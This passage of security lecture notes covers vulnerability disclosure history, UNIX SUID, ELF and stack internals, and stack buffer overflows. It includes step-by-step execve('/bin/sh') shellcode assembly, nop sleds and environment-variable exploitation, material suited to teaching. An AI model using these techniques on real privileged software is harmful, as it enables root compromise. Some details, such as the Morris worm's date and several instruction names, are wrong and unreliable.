US the trusted subject that can de-classify information is the president, otherwise it is not possible for information to move from
higher to lower secrecy levels.

8 Software Security

First of all some software security fundamentals shall be recalled, especially concerning good software engineering requirements:

• functional requirements → software must do what it is designed for

• non-functional requirements → usability, safety, security

Creating inherently secure applications is a fundamental, yet often unknown, skill for a good developer/software engineer. Creating
secure software is hard and meeting non functional requirements is harder than having a software meeting the functional ones.
Besides meeting requirements a software should also implement some specifications. An unmet specification is called software
bug, while an unmet security specification is called vulnerability (aka security bug). A way to leverage a vulnerability to violate the CIA

30
is called exploit. In software, exploiting means taking advantage of a vulnerability with an exploit (set of instructions/piece of code).
The exploit interacts with a vulnerable program so that the programs behaves differently than the specifications. Vulnerabilities
are there even if no exploit exists (yet).

8.1 Life of a Vulnerability

8.1.1 Non Disclosure Years

Until 90s vulnerability were not publicly disclosed: inside the hacker community the non disclosure rule was adopted. Vulnerabilities
were kept within the community: knowing a vulnerability allows to make a system do anything and knowing a lot of them meant
being powerful/popular within the hacking community. In this period the first internet war took place (Morris War), developed
in 1998 by Robert Morris Jr., who wrote a code able to exploit 7 vulnerabilities in UNIX systems. These vulnerabilities were only
known to Morris’ hacking group at the time. This is why, until the nineties the number of (publicly) known software vulnerabilities
was incredibly low. After that (from 2000 on) the full disclosure period begun: this happened because of the spread of internet,
who became more common. People and hacking community became aware of the dangers of exploiting vulnerabilities over the
internet. With internet any connected system could be compromised by exploiting its vulnerabilities, even the hacking community’s
ones. Having multiple machines with the same vulnerabilities connected to the internet was a huge danger, so the community
decided to put pressure on vendors and developers to have them testing and patching vulnerabilities before releasing them, or
at least release updates to patch known vulnerabilities. They did this by publicly disclosing vulnerabilities: communicating with
the community about the software’s vulnerability and providing some more time to patch vulnerabilities before releasing it. The
hackers’ community basically put pressure on developers and vendors.

Example: MS in the early days of Disclosure In 2000 a backdoor was found in the authentication of MS installer packets and
published on NTbugcrack. By visiting MS website the software was automatically installed without the user’s authorization or
consent. To this, MS responded that backdoors were hackers’ stuff and that the described one was an intentional feature to
improve user experience and ease the download procedure from the website, thus discrediting the hackers’ group. A few weeks
later a new security advisory/vulnerability was released on NTbugcrack, related to the ISS: "A back door in Microsoft FrontPage
extension/authoring components". In this case a .dll was distributed in a new update, that basically allowed to read files from the
root web folder. This back door was enabled by making a request with a particular passcode, hardcoded in the software with weak
encryption: "Netscape engineers are weenies!". This was a serious issue: in fact it was an intentional back door. A web server that
should return requested HTML pages was able to return the code hosted on the server instead, by providing a passcode which
discredited the main competitors. Again, MS’s reaction was: "It’s not really a bug, its impact is limited, they’re hackers". Some weeks
later another vulnerability was disclosed by CORE, involving the same .dll: it was a memory error vulnerability (buffer overflow) that
could potentially allow remote code execution. MS’s reaction was the same as the previous ones. Besides the early days’ difficulties,
full disclosure movement worked at the time: it was able to change people’s public opinion. People became aware of the amount
of bugs present in the software. In 2003, during a speech, after realizing that customers were starting to realized that the software
they bought had a lot of vulnerabilities, MS announced their decision to stop the release of new software (for 8 months) and review
all old codes to make sure that no vulnerabilities was there. After this, MS turned from being one of the worst to one of the best
software companies from security point of view. In 2003 MS changed its policy, they became aware of the importance of building
good software from a security point of view. Moreover, the full disclosure movement also aimed at changing the relationship
between hackers and software vendors.

8.1.2 Full Disclosure days

From a high level point of view, full disclosure vulnerabilities’ lifecycle can be described with a timeline, and it goes as follows:

1. 𝑡𝑣 : as soon as a software is developed/updated a new vulnerability is probably introduced in the software. A this time the
window of exposure, in which vulnerabilities exist and can be exploited, opens. The software is released and is being used by
customers.

2. 𝑡𝑜 : an exploit is found and released "in the wild" (in the hackers’ community an exploit exists and is used). At the moment
there are people unaware of the vulnerabilities, while some are exploiting it to break into systems. These attacks are called

31
zero days attacks, since they exploit non-disclosed (unknown to the community) vulnerabilities. The zero day attack window
opens.

3. 𝑡𝑑 : at this point the vulnerability is discovered by the vendor, e.g. because they discover someone breaking into the system,
or someone else informs them about it, or they find it themselves while reviewing the code. From now on the vendor will
start developing a patch to fix teh vulnerability.

4. 𝑡0 : the vulnerability is publicly disclosed, the zero day attack window closes and the follow-on attacks window opens. Follow-on
attacks exploit known vulnerabilities on known vulnerable systems.

5. 𝑡𝑠 : other companies starts releasing anti-virus signatures, to block the attack, this event is independent of the others.

6. 𝑡𝑝 : the patch is released.

7. 𝑡𝑎 : the patch deployment is completed (all machines are up-to-date with the new patch). Follow-on attacks and exposure
windows close.

The order in which these events happen can change in time: the discovery of a vulnerability by the vendor can happen at the same
time of its public disclosure or even before, the release of the patch can also happen before the vulnerability is publicly disclosed.
However the development of anti-virus signatures surely happens after the vulnerability becomes public and patches are released
only after the vulnerabilities are discovered by the vendors. The time required by a vendor to develop a patch is almost fixed (𝑡𝑠 − 𝑡𝑝 ).
For software developers, who know that vulnerabilities may be found in their product, it is convenient to discover vulnerabilities as
soon as possible, minimizing the exposure window and reducing the time window between the exploit’s release in the wild and the
vulnerability’s discovery by the vendor. The sooner the vulnerability is discovered by the vendor the earlier the patch is released.
There is another delay that could be avoided: patch deployment. It’s important to guarantee that patch deployment happens as
soon as possible. For example, what MS did at the time to reduce the time between 𝑡𝑝 and 𝑡𝑎 , was automatic update. Between
2004 and 2008 automatic updates were introduced inside all MS products, to reduce the patch deployment time window to force
updates on all machines. People usually ignored vulnerabilities and skipped updates, unless they were forced to. This further
reduces the exposure window. Software vendors should discover vulnerabilities as soon as possible, by changing the relation with
the hacking community. What they did was starting to cooperate with the hacking community, what software vendors did at the
time to do so was organizing parties, for example during DEFCON or Black Hat conferences. In general they started to engage
the hacking community and sometimes hire them, making them feel accepted. This allowed to even get information about zero
day attacks. This is why during full disclosure period there was a change in the interaction between software vendors and hacking
community.

8.1.3 Anti-Disclosure days

After full disclosure period, during which the number of vulnerabilities meeting specified limitations increased year by year, there
was a tremendous drop in their released in 2015. In this year the full disclosure period ended and the anti-disclosure period begun.
Of course, since companies released more secure software in the first place, the number of vulnerabilities decreased. But there is
another reason for the beginning of anti-disclosure: people slowly realized that they were giving exploits and vulnerabilities away
for free, so they started to demand to be payed for their job. During full disclosure vulnerabilities researchers would publish to get
famous, to get contacts, go to black head parties, get engaged with (and probably hired by) software vendors. Over time people
became famous and were employed by companies who wanted to build secure software. The original pressure was not needed
anymore, since companies had understood the importance of building secure software. At the same time people started not to
get famous for discovering vulnerabilities (unless they were truly groundbreaking), so disclosing vulnerabilities was not convenient
anymore. Finding bugs became valuable in a different way: instead of publicly disclosing vulnerabilities, exploits were being sold
to other companies and governments, which were willing to pay a lot for zero-day attacks on certain systems. People started to
sell bugs on the black market. To limit this phenomenon bug bounties were introduced: companies offered money to make a
security assessment on their products, so that they could be informed as soon as a vulnerability was found (and sometimes even
hire who had found the bug). There are a lot of bug bounty programs released by lots of company. This is not illegal, since company
themselves ask to find vulnerabilities and bugs in their own software.

32
8.2 Vulnerabilities and Exploit in UNIX-like systems

To understand how vulnerabilities and exploits works some concepts re-


garding file management should be recalled. In UNIX any file has an owner,
who has a certain set of privileges on the file. Any user can check any per-
mission associated with the executable file with ls -la command, which
returns the triads related to that file. When an executable is executed
a process is spawned, the process will run under the real user id (RUID)
which could be different than the owner (if another user with x permis-
sion executes it). RUID is the owner of the process spawned when the
executable is executed. While executable is being executed RUID can be
checked by listing all processes using ps -a -x -o user,pid,cmd: user
field shows the RUID. The process is subject to the same security con-
Figure 9. File Management and Permissions straints the RUID user is subject to (again, RUID may differ from the owner).
Another useful variable to check is the effective user id (EUID), the user ID used for checking permissions. EUID is needed because
in general EUID equals RUID. If a process with a certain RUID U1 tries to make some operations on a file F1, the EUID must be
checked. If EUID (U1) is different than F1’s owner and U1 has no privileges on that file, the process will not be able to complete
such operations. Sometimes this is not true: some programs need to execute operations the user is not allowed to perform (e.g.
sending ping command from a program: root permissions are needed, there must be a way to change EUID at runtime). To change
EUID a runtime saved set-user-ID (SUID) can be used. By saving SUID it’s possible to change EUID at runtime:

sudo
chmod u+s executable
ls -la executable
-rwsr-xr-w 1 foo group 41836 2012-10-14 19:19 executable

Now the executable’s SUID is ’foo’, EUID has changed. If F1 is owned by foo, by changing the SUID, F1 can be executed (EUID = F1’s
owner). Until now, this is a legitimate behavior. However, if an attacker is able to take advantage of the executable file they will be
able to spawn a process that will run under the same security constraints of the owner of the file F1. If that corresponds to root the
attacker will have the full power of root. It is thus extremely important to manage permissions correctly. Changing SUID can only
be done by root, to change it on a file it is necessary to be root. If SUID has changed already the attacker will exploit the executable
anyway, without needing to be root. No exploitation is included in this process. However, if the executable file is poorly written its
vulnerabilities can be exploited and leveraged by attackers. If a program has high privileges it can be exploited by anyone to read
any other ihly privileged file.
The Key Issues in Secure Design are:

1. Privileged parts should be reduced to minimum

2. KISS: Keep It Simple, Stupid.

3. Discard privileges definitively as soon as possible (e.g. from SUID to RUID).

4. Open Design: according to Kerchhoffs’ principle the program should not rely on obscurity for security.

5. Concurrency and race conditions are tricky: vulnerabilities may arise from them.

6. In general the use of shared resources (e.g. mktemp) and unknown/untrusted libraries should be avoided

A policy that always work is the fail-safe and default deny: deny everything and allow only certain things (white list policy) and
always filter and validate both input and output. That is to say exceptions should always be considered (fail-safe). This is the
main mitigation, that prevents 90% of possible vulnerabilities (especially web ones). Correct filtering and validation of I/O means
mitigating 90% of the possible vulnerabilities. No one should write their own crypto, password and secret management code:
trusted codes that have been audited and tested already should be used. When generating random data the trusted entropy
sources only should be used (e.g. /dev/urandom).
Let’s consider two processes operating on a shared folder. The first process creates a file, writes the privileged information and
changes the permission. There is a problem in this sequence (create - write sensitive information - change permission): another

33
process may be able to read the sensitive information before permissions are changed. This is a classic race conditions problem: an
unauthorized entity is able to read the information before permissions change. A correct sequence would be: create file, change
permissions, write sensitive information, in this way the risk condition is not exploitable by attackers. In complex applications
however, with many resources, it is tricky to manage everything, some risk conditions may have to be introduced.

9 Basics of process and memory

A binary file is a compile-computer program, i.e. a sequence of bytes, different than text
files or high level code. Developers usually write high level code, which is compiled by
the compiler, which translates high level code in assembly. After this the assembler will
convert assembly code into machine code: a binary file is a sequence of bytes, not hu-
man interpretable. To understand or reconstruct high level code from a binary file first
a disassembler should be used (to obtain the assembly code) and then a decompiler (to
obtain the high level code). However there is a problem: the high level code obtain out
of the decompiler is different than the original one, because the compiler introduces
some optimizations that change the code’s layout. It will thus be less readable than the
original one. Moreover, all the variables’ names are lost and the disassembler can inter-
pret some data as instructions, the compiler in fact may change the used instructions.
It is not possible to perfectly reverse a binary file. The result is less readable than the
original high level code. Therefore it’s important to get some information that can be
extracted from the binary file: the binary format defines the structure of a binary file.
It provides a series of information that are useful for the machine to interpret the file
itself:
Figure 10. ELF binary format
• How the file is organized on the disk

• How to load it in memory

• Executable or library (+ entry point if executable)

• Machine class (e.g. x86)

• Sections, how the binary is stored on the disk: Data, Code, ...,

The ELF binary format is shown in Figure 10. It consists of:

• ELF header: contains all the high level structures of the binary, defines file types and boundaries of the section and program
headers (i.e. where other headers are located)

• Program headers: describe how the binary file will be loaded in memory once executed, define segments (runtime view of ELF
once executed) and map sections to segments in memory. These basically tell the machine how to load sections in memory
by structuring them into segments.

• Section headers: describe the binary on the disk, to do so sections (which contain linking and relocating information) are
defined. In particular:

– .init: contains executable instructions that initialize the process


– .text: contains executable instructions of the program (code)
– .bss: statically allocated variables (uninitialized data)
– .data: initialized data (variables)

To read the ELF header the command readelf -h on the file to analyze command should be used. This command outputs some
useful information, such as:

• Type (e.g. executable) and Entry Point address (i.e. where the execution will begin once the program is executed), Machine
type

34
• Program and section headers’ start and size.

• Magic number: the type is defined by this number, its ASCII translation (e.g. 454𝑐46 → 𝐸𝐿𝐹 : this is an ELF file) defines the
file’s type.

For more information readelf -l can be used to read the program header and see all the sections mapped into segments, while
readelf -s shows the section header, i.e. for each section it is possible to know if it is readable, writable, executable and so
on. Some of this information may help understand whether a file may be vulnerable to memory exploitation techniques or not.
However this procedure is quite complex, there are several more efficient methods to understand the same thing. The best thing to
do is trying to execute the program, attach the debugger and analyze what happens in memory (really), then it’s easy to understand
whether e.g. buffer overflows are exploitable. Another way is looking for PID and Virtual MMap. The best way however is to execute
the binary (spawn the process).

9.1 Process Creation in Linux

When a program is executed it is mapped in memory and laid out in an organized manner. The kernel creates a virtual address in
space in which the program runs. There are two main memory areas: kernel space (where kernel programs run) and user space (in
which user-level programs run). User-level process aren’t allowed to enter the kernel space unless a syscall is executed. If a user
level program executes a syscal an interrupt is generated, which is handled by the kernel to e.g. execute privileged instructions.
In general user level programs run in user space. Once the virtual address space is loaded, the information (related to binary
file) is loaded from exec file to newly allocated address space. At this point the dynamic linker (invoked by the kernel) loads the
segments defined by program headers. The CPU will interpret and analyze all the headers and map each section of the binary file
into memory. After this the kernel sets up the stack and the heap and then jump to the program’s entry point. Every process sees
its memory as organized in virtual address space, with contiguous sections (allocated space for a certain section) in a certain order.
This is what the process see and also what is exploited. In reality the kernel maps things differently and memory sections are not
necessarily contiguous.

35
9.2 Code, Memory and Stack

The memory is organized as shown in 11.

• Shared libraries, loaded by the program

• .text: executable code

• .bss: uninitialized data, zeroed when the program begins to run

• .data: data related to the program (global and initialized)

• Heap: dynamically allocated data, grows up toward higher addresses

• Stack: statically allocated local variables (including env.), function activation records, grows down
toward lower addresses

The stack is a sort of a map of the execution of a program: it keeps tracks of all function activation
records happening within the program. For each function called a space is allocated on the stack
Figure 11. Memory
(from higher to lower addresses) and deallocated when returning from the function.
Management
9.2.1 Recall on registers

The registers can be classified as follows.

• general purpose registers: used for common mathematical operations to store data and addresses (EAX, EBX, ECX), this
category includes some special registers:

– ESP: address of the last stack operation (top of the stack), every time an operation is performed on the stack EXP follows
the last cell involved in the operation.
– EBP: address of the base of the current function frame (for relative addressing), points the base of the currently called
function, it is updated every time a new function is called

ESP and EBP together define the boundary of the current function frame (top-base). By analyzing a program with a debugger,
the ESP and EBP of the current function will be provided. ESP and EBP point addresses on the stack.

• segment: 16 bit registers used to track segments and backward compatibility (CD, DS, SS)

• control: related to the function of the processor itself. Among these a special register is EIP which points the cell of the
next machine instruction to be executed. EIP points addresses on the .text section, to follow each operation that should be
executed.

• other: EFLAG are 1 bit registers which store the result of tests performed by the processor.

To manage the stack and the memory some instructions should be used. The main operational that can be performed on the stack
are:

• Push: used to allocate and write a value (ESP decremented by 4b, Dword written (32 bit) to the new address stored in ESP),
PUSH %ebp | $value | addr

• Pop: used to retrieve a value and deallocate (ESP incremented by 4b, value on top of the stack loaded into the register), POP
%ebx | %eax

While the push writes values in the stack, the pop does not leave them. They are copied into a register but they are not deleted:
some attacks may try to steal information that were put on the stack and not deleted afterwards.

36
9.2.2 Functions and Stack

Every time a function is called the flow of execution of a program changes. Executing a function means jumping to another memory
location (address). Every time a function is called the control flow of execution of the program is altered: CPU has to jump to a
particular memory location, the function’s activation record must be allocated on the stack and control goes to the called function.
When the function ends control must go back to the original caller. This mechanism is all managed by the Stack, which in fact
maps a function’s activation record. Another important pointer is EIP, which follows the execution of the program. When the called
functions receives some parameters as input, the CPU has to pass the function these parameters using a memory structure. This
memory structure is the stack: the values are pushed on the stack. If the parameters are already on the stack they are re-pushed
by using relative addressing with respect to the register they are already located at: for example push EBP-0x14 will push the value
contained in EBP (20 bytes below ESP, ESP decremented by 4). When functions are called arguments are passed in reverse order.
EIP moves inside the .text section, instruction by instruction. Main’s local variables are already on the stack when a function
contained in the main is called.

9.2.3 The call instruction

When a called function is over it will be necessary to jump somewhere. When returning, the instruction right after the call must
be executed, therefore its address must be saved before invoking the function). Therefore before executing a call the current
instruction pointer (EIP) must be saved: this value is saved by pushing it on the stack. When functions are called two instructions
are executed: push EIP (decrements EPS) and jump to the address indicated in the parameter. The Function Prologue must be
executed: when the function is called its activation record is allocated on the stack, control goes to the function called. When the
function control is returned to the original function caller. It’s important to remember where the caller’s frame is located on the
stack so that it can be restored once the callee is over. The first 3 instructions of the callee are:

push %ebp // save current stack base address onto the stack
mov %esp, %ebp // the new base of the stack is the old top of the stack
sub $0x4, %esp // allocate 0x4 bytes for foo()’s local variables

The number of allocated bytes is the one needed foo foo’s local variables. When a value should be returned by the called function
it will be put in EAX register. To test these concepts and compile a binary file correctly to represent the memory some instruc-
tions must be followed: $ gcc -00 -mpreferred-stack-boundary=2 -ggdb -march=i386 -m32 -fno-stack-protector -no-pie -z
execstack test.c. This flag basically disables mitigations against memory corruption and compiles as 32 bit architecture. After
the function is done the caller’s frame must be restored on the stack. The Function Epilogue consists of two operations (leave and
ret) that translate into 3 instructions:

mov %ebp, %esp // current base is the new top of the stack
pop %ebp // restore saved EBP to registry
return // pop saved EIP and jump there

The CPU must go back to the main’s execution flow.

10 Buffer Overflows

Buffer overflows are memory error vulnerabilities: it is extremely important to understand how memory is managed when a pro-
cess is executed. These vulnerabilities, related to memory, overwrite memory with some sort of code. In general Buffer Overflows
are one of the most famous ways to exploit software. This method involves a buffer, which is a limited continuously allocated
portion of memory: its most common implementation is an array. A buffer overflow is possible when an inherent bounds checking
of the input’s length does not exist, i.e. when there is no mechanism that checks whether the length of the input is greater than
that of the buffer filled with the input. For example, there is no such check in C. As a consequence if a software developer does not
check for oversized inputs another person can insert an input that fills the buffer: if the input is large enough it can overflow the
buffer and overwrite other portions of memory. What is being overwritten is, for example, a portion of code that will be executed.
Another condition that allows buffer overflows is CPU’s dumbness. CPU will read whatever it will find in memory, execute it if it
finds code or assume it as data otherwise. In general, if a person is able to insert code in a buffer (program) the CPU will execute it.

37
The following concepts apply, with proper modifications, to any machine architecture/operating system/executable. For simplicity
the ELF binary file running on Linux (>=2.6 processes) on top of a 32-bit x86 machine will be considered.

10.1 More in Detail

By overwriting the EIP with another address it’s possible to basically jump anywhere else or execute other functions (e.g. system
processes, spawning a shell). If a program that executes because EIP was overwritten has the same SUID as root the attacker will
spawn a shell with root privileges. CPU will jump to whatever address is written in EIP. The first public disclosure of a buffer overflow
vulnerability is contained in the "Smashing the stack for fun and profit" paper (aleph1, 1994). It describes concisely, for the first
time, why buffer overflow was possible and how it was possible to exploit it. He did not invent it, he was just the first one masking
people aware about it. Buffer overflow is know since 1994 but is still present in current releases, despite being super known. The
problem is related to programmers and developers who do not check on the length of inputs (which are put in buffers), this issue
is not related to programming languages. It is based on a function that allocates a buffer which is filled without size checking (e.g.
strcpy, strcat, fgets, gets, sprintf, scanf in C). Another condition (other than not checking and stupid CPU) that allows
buffer overflows is the fact that to fill the buffer (in the stack) addresses are written from lower to higher. This allows to fill the
buffer and overwrite what is above: user input is written starting from lower addresses. When a buffer overflow vulnerability is
detected the first thing to try is to make the program segfault (not manageable exception). Segfaulting in this case is due to the
fact that someone is overwriting EIP with a non valid address. The real goal of an attacker however is not to crash the program,
but having the execution jump to a valid memory location that contains (or can be filled with) valid, executable machine code. An
attacker’s purpose is to overwrite EIP with a valid address and jump to a memory location that contains the malicious shell code
that the attacker wants to execute. Basically inside the virtual address it’s possible to jump anywhere, because each process sees
its own memory. When trying this kind of exploitation the most challenging problem to solve is the address problem, moreover a
way must be found to write/choose the valid executable machine code (hexadecimal super low level).

10.1.1 Address Problem

There are various solutions to jump to:

• environment variable: part of the memory that can be indirectly controlled, environmental variables are like global variables
that are passed to programs in the argv argument. Each program receives them, and there is almost infinite space to put
malicious code. To exploit them the memory must be prepared to put the shell code there and then jump.

• built-in, existing functions: instead of jumping to a memory area this consists of jumping to the address of an existing function
(e.g. system function: \bin \sh).

• memory that can be controlled: the buffer itself or some other variable, in this case the vulnerable buffer is overflowed by
overwriting everything until EIP then overwriting the saved EIP with the address of the buffer itself. When the function will
return it will jump inside the buffer. The buffer should not be overwritten with random stuff, but in the same overflow the
valid machine code to execute should be added, so when the function returns it will jump inside the buffer and CPU will start
to execute it. The exploitation is successful if the program does not crash: the function must return, because during epilogue
it will jump somewhere back.

Let’s consider this last case, assuming that the overflowed buffer ha enough room for the arbitrary machine code. Let’s consider a
buffer that contains any kind of malicious code: the buffer’s address must be found. How to find the buffer’s address? The buffer
is a variable, so it must be on the stack. An idea is to find the buffer somewhere around ESP itself, especially at the beginning of the
function when it was just declared. The exact address may however change at each execution and/or from machine to machine.
The CPU is dump: off-by-one wrong and it will fail to fetch and execute, possibly crashing: if the address overwritten on saved EIP
corresponds for example to ESP+4 (which is a valid address within the program) the CPU will just go there and start execution at
that exact point without looking for the first valid and available instruction. This raises another issue, called precision problem.
To find a precise value of ESP debuggers can be used (e.g. gdb) or, if the source code of the program is available, a function can
be added to print ESP value. However these procedure might return different values: some debuggers add a fixed offset (which
should be considered) to the allocated process memory, still there is a problem of precision. To solve such issues the nop (0x90)
instruction can be used. The purpose is to be able to jump on a valid instruction. nop is a 1 byte valid instruction that tells the CPU

38
to jump to the next instruction. If many of these are used to fill the buffer before the saved EIP a nop sled is created and the CPU
will always execute a valid instruction in the end. In this case the offset should be guessed: it is usually convenient to put a long
sled of nop and then jump somewhere in the middle. The nop sled is a landing strip: by "falling" anywhere a valid instruction is
found. Eventually the end of the sled is reached and the executable (malicious) shell code is executed. The code is composed of a
lot of nop and the malicious code, until EIP is overwritten.
What to execute is called shell code, for historical reasons. In fact the original goal of an attacker was to spawn a (privileged) shell
on a local/remote machine. The shell code was originally a sequence of machine instructions needed to open a shell. A shell code
may in general execute anything, it is just a sequence of instructions.

10.1.2 Exploiting execve("/bin/sh")

execve is a system call that can be used to switch from user to kernel mode to execute privileged operations. In Linux a syscall is
invoked by an interrupt through int instruction (0x80). In particular execve requires 3 arguments:

• filename = path to executable to be executed (e.g. /bin/sh)

• argv[] = pointer to an array of strings passed to the new program as its command-line arguments. By convention the first of
them (argv[0]) should contain the filename associated with the file being executed. This array must terminate with a NULL
pointer

• envp[] = array of pointers to strings, conventionally in the form key=value, which are passed as the environment of new
programs. The envp array must be terminated by a NULL pointer

Just like other functions,execve’s arguments are put, first of all, on the stack, qhen the function is invoked. High level code can not
be written, hexadecimal opcodes are needed. First of all call conventions should be recalled: in Linux a system call is invoked by
executing a software interrupt through the int instruction, passing the 0x80 value (or the equivalent instruction):

movl %syscall_number, eax


syscall arguments // GP registers (ebc, ecx, edx)
a. mov arg1 %ebx
b. mov arg2, %ecx
c. mov arg3, %edx
int 0x80 // switch to kernel mode
syscall executed

When it comes to writing the shellcode there are various possibilities, the first one is to find one on shell-storm.org hoping it works,
otherwise, to write it from scratch, the following steps should be followed:

1. write high level code

2. compile and disassemble

3. analyze assembly (clean up the code: in reality size limits the shell code, it should be as small at possible)

4. extract opcode

5. create the shellcode

In this operation only relevant instructions are picked for the true assembly shell code. Of course it can be written in assembly
directly. By disassembling a specific shellcode (with specific address related to the used machine) is obtained: however this code
is not portable and differs in any case from attackers’ purposes. However by following its structure a more general shellcode can
be derived. First of all, to make the shell code as general as possible, the memory should be prepared, so that the appropriate
content (arguments of execve) is already in the stack:

• string "\bin \sh" (or the command to execute) somewhere in memory, terminated by \0text

• ADDRESS of that string in memory argv[0] (the first element must be the command), providing the address is equal to the
second parameter of execve

39
• followed by NULL pointer as argv[1] *env

If an attacker is able to put this structure in memory they ahve everything they need to conclude the attack. The interesting part of
this data structure is that everything depends on the address, all parameters can be expressed with respect to it. The shell code
can be parametrized with respect to the string ADDRESS. The disassembled version of the execve is now dependent on ADDRESS
(parametrized):

.string \"/bin/sh\" // puts string in memory


movl ADDRESS, array-offset(ADDRESS) // putting address in a certain location: hack[0]="/bin/sh"
movb $0x0, nullbyteoffset(ADDRESS) // putting terminator at the end of the string
movl $0x0,null-offset(ADDRESS) // creating NULL pointer: hack[1]= NULL

The first instructions are only preparing the memory in a certain structure. The rest of the assembly code will use the memory that
was just prepared:

// execve starts here


mov1 $0xb, %eax // move $0xc to EAX
mov1 ADDRESS, %ebx // move hack[0] to EBX
lea1 array-offset(ADDRESS), %ecx // move &hack to ECX
lea1 null-offset(ADDRESS), %edx // move &hack[1] to EDX
int $0x80 // interrupt

The problem now is how to get the exact ADDRESS of /bin/sh without knowing where it’s being written in memory. A way must
be found to do this automatically, so that the shell code just executes. In this case nop can not be used. The precise address of
the string is currently put in memory by .string instruction: however there is a register that stores instructions’ addresses (EIP),
.string’s address will be saved in EIP at some point. The EIP of the next valid instruction is saved when a function is called: in this
case the next address of instruction to execute is saved. By putting a call just before the .string declaration the call will push
on the stack the address of the .string operation, which is exactly the needed address. Executing a call just before declaring
the string has a side effect of leaving the address of the string on the stack. Now the shell code can be modified by adding a call
before .string and then a pop. The complete code is:

jmp offset-to-call // jumps to call


pop1 %esi // pop ADDRESS from stack
mov1 %esi, array-offset(%esi) // putting address in a certain location: hack[0]="/bin/sh"
movb $0x0, nullbyteoffset(%esi) // putting terminator at the end of the string
mov1 $0x0,null-offset(%esi) // creating NULL pointer: hack[1]= NULL
// execve starts here
mov1 $0xb, %eax // move $0xc to EAX
mov1 %esi, %ebx // move hack[0] to EBX
lea1 array-offset(%esi), %ecx // move &hack to ECX
lea1 null-offset(%esi), %edx // move &hack[1] to EDX
int $0x80 // interrupt
mov1 $0x1, %eax // these 3 lines define a syscall
mov1 $0x0, ebx // to know which syscall: 0x1 = exit syscall
int $0x80 // this shell code will close
call offset-to-pop1 // when called .string’s address will be put on stack, jumps to pop1
.string \"/bin/sh\" // next IP == string ADDRESS

This shell code will automatically allocate the needed memory and retrieve the address and pass the necessary element. To cal-
culate the offsets to call and to pop the hexadecimal opcodes must be computed and the bytes should be counted, for the data
structure as well:

• array-offset = 8 (bytes)

• nullbyteoffset = 1 (1 before the address)

40
• null-offset = 8+4 = c

However, looking at opcodes, there are a lot of zeroes which are all converted into string terminators (0x00 is ’\0’): this actual shell
code will stop at the first terminator. The shell code must be cleaned from zeros, each instruction should be substituted with an
equivalent one that has no zeroes in it, for example jmp (e9 26 00 00 00) -> jmp short (eb 1f). Also, some of the previously
used instructions need to move the NULL into particular position (memory location): to avoid this functions that have zero as a
result can be used. In this case 0 will be stored in a register and the register itself will be used:

xor1 %eax, %eax


movb $0x0, 0x7(%esi) -> movb %eax, 0x7(%esi)
movb $0x0, 0xc(%esi) -> mov1 %eax, 0xc(%esi)
mov1 $0xb, 0x7(%esi) -> mov1 $0xb, %al
mov1 $0x0, %ebx -> xor1 %ebx, %ebx
mov1 $0x1, %eax -> xor1 %ebx, %eax
inc %eax

This can be substituted in the original shell code, whose (correct) opcodes can be written into a string and used. Now the next
step to put in place the exploit is to fill the buffer with nop and with the shellcode and next to overwrite EIP with the address of the
address found at the beginning (with gdb). In practice something like Figure 13a should be obtained: the buffer is filled with nops
and shellcode, the memory is smashed until EIP which is overwritten with something near ESP, since the buffer was exactly where
ESP was. There is another problem to solve: the shellcode is composed by non printable characters (hexadecimal opcodes), an
auxiliary function must be used to print them and pass them to the functions that will be exploited. A possible auxiliary function is
$ echo, which will print a string on the terminal. In bash it’s possible to concatenate commands: the input of the first instruction to
concatenate to the second, this is done by pipe command. Executing two commands in pipe means executing the first and passing
its output to the second one. For example by concatenating echo with the exploitable function echo’s output (opcodes) is passed to
the function: the exploit is passed to the vulnerable program. If the program with root privileges opens a shell the shell will have
root privileges too. Now that the root shell is open the attacker can basically do anything. The last element of the shell code is the
one which will write EIP and jump to the buffer. The buffer belongs to controllable memory and an advantage of this is that it can be
done remotely, using the shell code as input. Its disadvantages are the fact that buffer might not be large enough (it’s hard to put all
the instructions in a small buffer), memory must be marked as executable (non executable memory is another mitigation against
buffer overflows, CPU will not execute whatever is put on non executable memory) and the address has to be guessed reliably
(some attempts might have to be done). Alternative ways to make a similar exploitation include jumping to other memory areas,
for example environment variables. This kind of exploitation is easy to implement (space is "unlimited", almost the entire memory)
and to target (the address is precisely known, allocated in the upper part of the stack). However it can only be used locally and the
program may wipe the environment. As before, memory has to be marked as executable in this case too. Environmental variables
are variables defined as (key, value), defined outside specific programs. They are like global variables passed to every program. The
memory layout of environmental variables is shown in Figure 12. The command env prints all environmental variables. Any called
program (in memory) will have a pointer for each of them. If memory is not executable the CPU will assume everything the memory
contains is data. To put in place an exploitation using environmental variables first of all an area to contain the exploit should be
allocated. This memory area will be contained into a new environmental variable that will be used for exploitation purposes. Finally,
to conclude the exploitation, the saved EIP must be overwritten with the address of this environmental variable. Overflow happens
with the address of the environmental variable. In practice the same auxiliary functions as before should be used (e.g. echo). An
environmental variable can be defined using the export NAME=’echo "shell opcodes"’ command. The same can be done with
export NAME=’python2 -c ’print "shell opcodes"”, which allows to use for example "\x90"*300 instead of writing all nop. In
this case there is no address at the end, since the address must be put in the overflow buffer. Once the shell code is in memory
(inside the environmental variable) it is on the stack (where environmental variables are) and is subject to stack’s limitations. The
address of the envar containing the shell code should be found in any case: this can be done for example by using gdb. Launching
gdb starting from ESP, at some point environmental variables will be printed, including the one containing the shell code and its
address. In this case the purpose is to jump to an address that contains only nop opcodes, in the middle of the sled. Just as before
the exploitable program will be passed an input containing the selected address repeated many time (overwriting whatever is on
the stack with it to be sure to overwrite the saved EIP, to geto to the envar in the end).

41
Instead of setting the saved EIP to an address in the buffer
range, in this case the saved EIP is set to an address in the
environment. The command still consists of a pipe of the
printed shell code and the program to be exploited. Once
the address is found it is enough to overwrite EIP with it. In
this case it is a brutal exploit: everything is being overwritten
(maybe even something useful, so being precise may help).
Another way to exploit using buffer overflows is to jump into
built-in, existing functions. The advantages of this attack
are that it’s possible to work remotely and reliably, there is
no need for executable stack and functions are usually ex-
ecutable. However the stack frame must be carefully pre-
pared. In this case the saved EIP is overwritten with a known
function’s address (e.g. /bin/sh). To put in place this attack
a fake activation frame of the function the EIP will be over-
written with should be built on the stack. When a function
is called the first thing to do is putting its arguments on the
Figure 12. Environmental Variables Layout
stack, then saved EIP (return address) is pushed. These must
be reconstructed to call a function, e.g. system().
Besides re-creating this frame the code that should be executed must be added to the stack (e.g. /bin/sh). To execute it the string

(b) Exploitation through built-in functions

(a) Stack Overview during Exploitation

Figure 13. Exploitation examples


